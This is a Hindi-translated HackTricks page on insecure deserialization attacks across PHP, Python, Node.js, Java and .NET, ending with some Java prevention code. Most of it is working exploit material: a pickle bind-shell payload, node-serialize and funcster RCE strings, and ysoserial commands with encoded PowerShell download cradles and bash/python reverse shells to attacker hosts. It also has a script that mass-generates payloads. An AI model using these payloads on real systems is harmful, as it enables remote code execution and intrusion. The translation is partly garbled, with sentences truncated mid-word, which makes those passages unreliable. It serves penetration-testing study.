Deserialization

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

सिरियलाइजेशन को एक विधि के रूप में समझा जाता है जिसमें एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करना शामिल है जो संरक्षित किया जा सकता है, जिसका उद्देश्य या तो ऑब्ज

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

यदि आप परिणामों की दिशा देखते हैं तो आप देख सकते हैं कि फ़ंक्शन __wakeup और __destruct को जब ऑब्जेक्ट को डीसीरियलाइज़ किया जाता है, तो वे कॉल किए जाते हैं। ध्यान दें कि कई ट्यूटोरियल में आपको मिलेगा कि __toString फ़ंक्शन को किसी विशेषता को प्रिंट करने की कोशिश करने पर कॉल किया जाता है, लेकिन ऐसा लगता है कि अब यह हो नहीं रहा है

यदि यह क्लास में लागू किया गया है, तो विधि __unserialize(array $data) को __wakeup() के बजाय कॉल किया जाता है। यह आपको ऑब्ज

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

आप यहाँ PHP उदाहरण को पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहाँ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहाँ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

आप PHP autoload functionality का दुरुपयोग करके विभिन्न php फ़ाइलें और अधिक लोड कर सकते हैं:

pagePHP - Deserialization + Autoload Classes

संदर्भित मानों को Serialize करना

यदि किसी कारणवश आप किसी मान को एक अन्य मान के serialize हुए संदर्भ के रूप में serialize करना चाहते हैं तो:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC आपको PHP डिसीरियलाइजेशन का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है। ध्यान दें कि कई मामलों में आपको एप्लिकेशन के स्रोत कोड में डिसीरियलाइजेशन का दुरुपयोग करने का कोई तरीका नहीं मिलेगा लेकिन आप बाहरी PHP एक्सटेंशन के कोड का दुरुपयोग कर सकते हैं। तो, अगर संभव हो तो, सर्वर का phpinfo() जांचें और इंटरनेट पर खोजें (और PHPGGC के गैजेट्स पर भी) कुछ संभावित गैजेट जिनका आप दुरुपयोग कर सकते हैं।

phar:// metadata deserialization

अगर आपने एक LFI पाया है जो केवल फ़ाइल पढ़ रहा है और उसके भीतर PHP कोड को नहीं चला रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize() की तरह के फ़ंक्शनों का उपयोग करके। तो आप phar प्रोटोकॉल का उपयोग करके एक फ़ाइल पढ़ते समय हो रही डिसीरियलाइजेशन का दुरुपयोग करने की कोशिश कर सकते हैं। अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:

pagephar:// deserialization

Python

Pickle

जब ऑब्ज

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

अधिक जानकारी के लिए pickle jails से बचने के बारे में जांच करें:

pageBypass Python sandboxes

Yaml & jsonpickle

निम्नलिखित पृष्ठ उन python पुस्तकालयों में असुरक्षित डेसीरियलाइजेशन का दुरुपयोग करने की तकनीक प्रस्तुत करता है और एक उपकरण के साथ समाप्त होता है जिसका उपयोग Pickle, PyYAML, jsonpickle और ruamel.yaml के लिए RCE डेसीरियलाइजेशन पेलोड उत्पन्न करने के लिए किया जा सकता है:

pagePython Yaml Deserialization

Class Pollution (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS PHP या Python की तरह "जादू" फ़ंक्शन नहीं है जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित किए जाएंगे। लेकिन इसमें कुछ फ़ंक्शन हैं जो सीधे नहीं कहते हुए भी अक्सर उपयोग किए जाते हैं जैसे toString, valueOf, toJSON। डेसीरियलाइजेशन का दुरुपयोग करते समय आप इन फ़ंक्शनों को कंप्रोमाइज कर सकते हैं ताकि अन्य कोड को निष्पादित किया जा सके (प्रोटोटाइप पोल्यूशन का दुरुपयोग करना संभावित है)।

एक और "जादू" तरीका एक फ़ंक्शन को सीधे नहीं बुलाए जाने के लिए एक ऑब्जेक्ट को कंप्रोमाइज करना है जो एक असिंक फ़ंक्शन द्वारा वापस दिया जाता है (प्रमिस)। क्योंकि, अगर आप उस **वापसी ऑब्ज

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ और prototype प्रदूषण

यदि आप इस तकनीक के बारे में सीखना चाहते हैं तो निम्नलिखित ट्यूटोरियल देखें:

pageNodeJS - __proto__ & prototype Pollution

यह पुस्तकालय फ़ंक्शन को serialize करने की अनुमति देती है। उदाहरण:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

**सिरियलाइज्ड ऑब्ज

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को serialize किया जाता है तो _$$ND_FUNC$$_ ध्वज सीरीज़ किए गए ऑब्ज

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

जैसा पहले इंडिकेट किया गया था, यह लाइब्रेरी _$$ND_FUNC$$_ के बाद कोड प्राप्त करेगी और eval का उपयोग करके इसे चलाएगी। इसलिए, कोड स्वत: चलाने के लिए आप फंक्शन निर्माण भाग और अंतिम ब्रैकेट को हटा सकते हैं और बस निम्नलिखित उदाहरण में एक JS वनलाइनर चला सकते हैं:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

आप इस यहाँ वुलनरेबिलिटी को कैसे शोषित करने के बारे में अधिक जानकारी पा सकते हैं।

funcster का एक महत्वपूर्ण पहलू यह है कि मानक इनबिल्ट ऑब्जेक्ट्स की अप्राप्यता; वे पहुंचने योग्य दायरे के बाहर हैं। यह प्रतिबंध किसी भी मानक इनबिल्ट ऑब्जेक्ट्स पर विधियों को आमंत्रित करने की कोशिश करने वाले कोड का निष्पादन रोकता है, जिससे उत्पन्न होने वाली अपवाद जैसे कि "ReferenceError: console is not defined" जब आप console.log() या require(something) जैसे कमांड का उपयोग करते हैं।

इस प्रतिबंध के बावजूद, वैशिष्ट्यपूर्ण दृष्टिकोण को पूरी पहुंच की पुनर्स्थापना संभव है, जिसमें सभी मानक इनबिल्ट ऑब्जेक्ट्स शामिल हैं। इस प्रतिबंध को छलकरने के लिए एक विशिष्ट दृष्टिकोण का उपयोग करके ग्लोबल संदर्भ का सीधा उपयोग करके, यह संभव है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच पुनः स्थापित की जा सकती है:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

अधिक जानकारी के लिए इस स्रोत को पढ़ें](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)

serialize-javascript पैकेज को केवल सिरियलाइज़ेशन के उद्देश्य के लिए डिज़ाइन किया गया है, जिसमें कोई भी बिल्ट-इन डिसीरियलाइज़ेशन क्षमताएँ नहीं हैं। उपयोगकर्ताओं को डिसीरियलाइज़ेशन के लिए अपनी खुद की विधि का अमल करने के लिए जिम्मेदार होते हैं। सीरियलाइज़ किए गए डेटा को डिसीरियलाइज़ करने के लिए आधिकारिक उदाहरण द्वारा eval का सीधा उपयोग सुझाया गया है:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसीरियलाइज़ करने के लिए किया जाता है, तो आप इसे आसानी से उत्पीड़ित कर सकते हैं:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

अधिक जानकारी के लिए इस स्रोत को पढ़ें](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).

Cryo पुस्तकालय

निम्नलिखित पृष्ठों में आपको इस पुस्तकालय का दुरुपयोग कैसे करना है जानकारी मिलेगी जिससे विचारहीन कमांड्स को क्रियान्वित किया जा सकता है:

Java - HTTP

Java में, डेसीरियलाइजेशन कॉलबैक डेसीरियलाइजेशन प्रक्रिया के दौरान क्रियान्वित किए जाते हैं। हमलावर इस क्रिया का शिकार बन सकते हैं जो दुरुपयोगी पेलोड का निर्माण करते हैं जो इन कॉलबैक को ट्रिगर करते हैं, जिससे हानिकारक क्रियाएँ क्रियान्वित हो सकती हैं।

Fingerprints

White Box

कोडबेस में संभावित सीरीयलाइजेशन वंरबिलिटीज की पहचान के लिए खोज करें:

  • वर्ग जो Serializable इंटरफेस का अमल करते हैं।

  • java.io.ObjectInputStream, readObject, readUnshare फ़ंक्शन का उपयोग।

विशेष ध्यान दें:

  • बाह्य उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ उपयोग किया गया XMLDecoder

  • XStream का fromXML विधि, विशेष रूप से यदि XStream संस्करण 1.46 से कम या बराबर है, क्योंकि इसमें सीरीयलाइजेशन समस्याएँ हो सकती हैं।

  • ObjectInputStream जो readObject विधि के साथ है।

  • readObject, readObjectNodData, readResolve, या readExternal जैसी विधियों का कार्यान्वयन।

  • ObjectInputStream.readUnshared

  • Serializable का सामान्य उपयोग।

Black Box

काले बॉक्स परीक्षण के लिए, विशेष हस्ताक्षर या "मैजिक बाइट्स" खोजें जो जावा सीरीयलाइज्ड ऑब्जेक्ट्स को दर्शाते हैं (ObjectInputStream से उत्पन्न):

  • हेक्साडेसिमल पैटर्न: AC ED 00 05

  • बेस64 पैटर्न: rO0

  • HTTP प्रतिक्रिया हेडर जिसमें Content-type को application/x-java-serialized-object सेट किया गया है।

  • पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: 1F 8B 08 00

  • पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: H4sIA

  • .faces एक्सटेंशन और faces.ViewState पैरामीटर के साथ वेब फ़ाइलें। एक वेब एप्लिकेशन में इन पैटर्न की खोज को जांचने के लिए एक जांच को प्रेरित करना चाहिए जैसा कि Java JSF ViewState Deserialization के पोस्ट में विस्तार से वर्णित है।

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

यदि आप जानना चाहते हैं कि एक जावा डिसीरियलाइज़ड अभियांत्रिकी कैसे काम करती है, तो आपको बेसिक जावा डिसीरियलाइज़ेशन, जावा DNS डिसीरियलाइज़ेशन, और कॉमन्स कलेक्शन 1 पेलोड पर नजर डालनी चाहिए।

व्हाइट बॉक्स टेस्ट

आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन इंस्टॉल किया गया है जिसमें पता चली व्यवस्थाओं की कोई समस्या है।

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

आप सभी पुस्तकालयों की जांच कर सकते हैं जिन्हें वंशवादी माना जाता है और जिनके लिए Ysoserial एक उत्पीड़न प्रदान कर सकता है। या आप Java-Deserialization-Cheat-Sheet पर दिखाए गए पुस्तकालयों की जांच कर सकते हैं। आप gadgetinspector का उपयोग करके उत्पीड़न श्रृंखलाओं की खोज कर सकते हैं जो उत्पीड़न के लिए उपयोग किए जा सकते हैं। gadgetinspector को चलाते समय (इसे बिल्ड करने के बाद) उसके द्वारा जा रही सभी चेतावनियों/त्रुटियों की चिंता न करें और उसे समाप्त होने दें। यह सभी खोजों को gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt के तहत लिखेगा। कृपया ध्यान दें कि gadgetinspector एक उत्पीड़न नहीं बनाएगा और यह गलत सकारात्मक परिणाम दिखा सकता है

काला बॉक्स परीक्षण

बर्प एक्सटेंशन gadgetprobe का उपयोग करके आप किस पुस्तकालयों का उपयोग किया जा रहा है (और किस संस्करण) को पहचान सकते हैं। इस जानकारी के साथ, यह वंशवाद को उत्पीड़ित करने के लिए एक पेलोड चुनना सरल हो सकता हैइसे और अधिक जानने के लिए GadgetProbe पढ़ें GadgetProbe ObjectInputStream उत्पीड़न पर ध्यान केंद्रित है।

बर्प एक्सटेंशन Java Deserialization Scanner का उपयोग करके आप ysoserial के साथ उत्पीड़न करने योग्य पुस्तकालयों की पहचान कर सकते हैं और उन्हें उत्पीड़ित कर सकते हैं। जानने के लिए इसे Java Deserialization Scanner के बारे में और पढ़ें Java Deserialization Scanner ObjectInputStream उत्पीड़न पर ध्यान केंद्रित है।

आप Freddy का उपयोग करके बर्प में उत्पीड़न संकटों की पहचान कर सकते हैं। यह प्लगइन केवल ObjectInputStream संबंधित संकटों की पहचान करेगा बल्कि Json और Yml उत्पीड़न पुस्तकालयों से भी vulns की पहचान करेगा। सक्रिय मोड में, यह उन्हें सुनी या DNS पेलोड का उपयोग करके पुष्टि करने की कोशिश करेगा। आप फ्रेडी के बारे में अधिक जानकारी यहाँ पा सकते हैं।

संचयन परीक्षण

सभी यह नहीं है कि सर्वर द्वारा कोई भी वंशवादी पुस्तकालय का उपयोग किया जा रहा है या नहीं। कभी-कभी आप संचित वस्तु के अंदर के डेटा को बदल सकते हैं और कुछ जांचों को छलकर निकाल सकते हैं (शायद एक वेब ऐप्लिकेशन के अंदर व्यवस्थापक विशेषाधिकार प्रदान कर सकते हैं)। अगर आपको एक जावा संचित वस्तु मिलती है जो एक वेब एप्लिकेशन में भेजी जा रही है, तो आप SerializationDumper का उपयोग कर सकते हैं ताकि भेजे जा रहे संचयन वस्तु को एक अधिक मानवीय पठनीय स्वरूप में प्रिंट कर सकें। जानना कि आप कौन से डेटा भेज रहे हैं उसे संशोधित करना और कुछ जांचों को छलकर निकालना सरल होगा।

उत्पीड़न

ysoserial

जावा वंशवादों का उत्पीड़न करने के लिए मुख्य उपकरण ysoserial है (यहाँ से डाउनलोड करें)। आप ysoseral-modified का भी उपयोग कर सकते हैं जो आपको जटिल कमांडों का उपयोग करने देगा (उदाहरण के लिए पाइप्स के साथ)। ध्यान दें कि यह उपकरण ObjectInputStream का उत्पीड़न करने पर केंद्रित है। मैं "URLDNS" पेलोड का उपयोग RCE पेलोड से पहले करने की सिफारिश करूंगा ताकि प्रविष्टि संभव है या नहीं यह जांचने के लिए। फिर भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा हो लेकिन अन्य RCE पेलोड काम कर रहा हो।

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

जब java.lang.Runtime.exec() के लिए payload बनाते हैं तो आप विशेष वर्ण जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि एक क्रिया के आउटपुट को रीडायरेक्ट कर सकें, "$()" का उपयोग करके कमांड को निष्पादित कर सकें या यहाँ तक कि कमांड को अलग-अलग अर्ग्यूमेंट्स के साथ अलग करने के लिए अंतरिक्ष से अलग नहीं कर सकते हैं (आप echo -n "hello world" कर सकते हैं लेकिन आप python2 -c 'print "Hello world"' नहीं कर सकते हैं)। Payload को सही ढंग से एन्कोड करने के लिए आप इस वेबपेज का उपयोग कर सकते हैं।

विन्डोज और लिनक्स के लिए सभी संभावित कोड निष्पादन payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करें और फिर उन्हें संक्रमित वेब पेज पर परीक्षण करें:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

सीरियलकिलरबायपासगैजेट्स

आप इस्तेमाल कर सकते हैं https://github.com/pwntester/SerialKillerBypassGadgetCollection ysoserial के साथ अधिक उत्पीड़न बनाने के लिए। इस टूल के बारे में अधिक जानकारी टॉक के स्लाइड्स में है जहाँ टूल प्रस्तुत किया गया था: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

मार्शलसेक

marshalsec का उपयोग किया जा सकता है विभिन्न Json और Yml सिरीकरण पुस्तकालयों को उत्पीड़ित करने के लिए। परियोजना को कॉम्पाइल करने के लिए मुझे pom.xml में इस डिपेंडेंसी को जोड़ने की आवश्यकता थी:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

मेवेन इंस्टॉल करें, और परियोजना को कंपाइल करें:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

इस Java JSON पुस्तकालय के बारे में अधिक जानकारी पढ़ें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java विभिन्न उद्देश्यों के लिए धारणीकरण का बहुत उपयोग करता है जैसे:

  • HTTP अनुरोध: धारणीकरण पैरामीटर, ViewState, कुकी आदि के प्रबंधन में व्यापक रूप से प्रयुक्त होता है।

  • RMI (Remote Method Invocation): Java RMI प्रोटोकॉल, जो पूरी तरह से धारणीकरण पर निर्भर है, जावा एप्लिकेशन में दूरस्थ संचार के लिए एक मूलग्रंथ है।

  • RMI ओवर HTTP: यह विधि जावा आधारित मोटे क्लाइंट वेब एप्लिकेशन्स द्वारा सामान्य रूप से प्रयुक्त की जाती है, जो सभी ऑब्जेक्ट संचार के लिए धारणीकरण का उपयोग करती है।

  • JMX (Java Management Extensions): JMX नेटवर्क के माध्यम से ऑब्जेक्ट्स को भेजने के लिए धारणीकरण का उपयोग करता है।

  • कस्टम प्रोटोकॉल: जावा में मानक अभ्यास शामिल है जिसमें कच्चे जावा ऑब्जेक्ट्स के प्रेषण का उपयोग किया जाता है, जो आगामी शोषण उदाहरणों में प्रदर्शित किया जाएगा।

Prevention

अस्थायी ऑब्ज

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

एक कक्षा की सिरलेबलिजेशन से बचें जो Serializable इंटरफेस का अनुसरण करने की आवश्यकता है

ऐसे परिदृश्यों में जहाँ कुछ **ऑब्ज

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

जावा में डेसीरियलाइज़ेशन सुरक्षा को बढ़ाना

java.io.ObjectInputStream को कस्टमाइज़ करना डेसीरियलाइज़ेशन प्रक्रियाओं को सुरक्षित बनाने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि उपयुक्त है जब:

  • डेसीरियलाइज़ेशन कोड आपके नियंत्रण में है।

  • डेसीरियलाइज़ेशन के लिए अपेक्षित कक्षाएँ ज्ञात हैं।

resolveClass() मेथड को ओवरराइड करें ताकि डेसीरियलाइज़ेशन को केवल अनुमति प्राप्त कक्षाओं तक ही सीमित किया जा सके। इससे Bicycle कक्षा तक ही डेसीरियलाइज़ेशन की प्रतिबंधित किया जा सकता है, जैसे निम्नलिखित उदाहरण में:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

सुरक्षा में सुधार के लिए जावा एजेंट का उपयोग एक विकल्प प्रदान करता है जब कोड संशोधन संभव नहीं होता। यह विधि मुख्य रूप से हानिकारक कक्षाओं को ब्लैकलिस्ट करने के लिए लागू होती है, जेवीएम पैरामीटर का उपयोग करके:

-javaagent:name-of-agent.jar

यह एक तरीका प्रदान करता है जो डेसीरियलाइज़ेशन को निरंतर सुरक्षित बनाए रखने के लिए उपयुक्त है, जो स्थितियों के लिए आद immediate कोड परिवर्तन असंभव है।

rO0 by Contrast Security में एक उदाहरण देखें।

सिरीकरण फ़िल्टर्स का लागू करना: जावा 9 ने ObjectInputFilter इंटरफेस के माध्यम से सिरीकरण फ़िल्टर्स का परिचय किया, जो डेसीरियलाइज़ किए जाने से पहले सिरीकरण किए जाने वाले ऑब्ज

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

बेहतर सुरक्षा के लिए बाह्य पुस्तकालयों का उपयोग करना: NotSoSerial, jdeserialize, और Kryo जैसी पुस्तकालय जावा डेसीरियलाइज़ेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएं प्रदान करती हैं। ये पुस्तकालय व्हाइटलिस्टिंग या ब्लैकलिस्टिंग क्लासेस, डेसीरियलाइज़ेशन से पहले सिरीयलाइज़ किए गए ऑब्जेक्ट्स का विश्लेषण करने, और कस्टम सीरियलाइज़ेशन रणनीतियों को लागू करने जैसी अतिरिक्त सुरक्षा स्तर प्रदान कर सकती हैं।

  • NotSoSerial अविश्वसनीय कोड का निषेध करने के लिए डेसीरियलाइज़ेशन प्रक्रियाओं को रोकता है।

  • jdeserialize डेसीरियलाइज़ किए जाने से पहले सिरीयलाइज़ किए गए जावा ऑब्ज

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
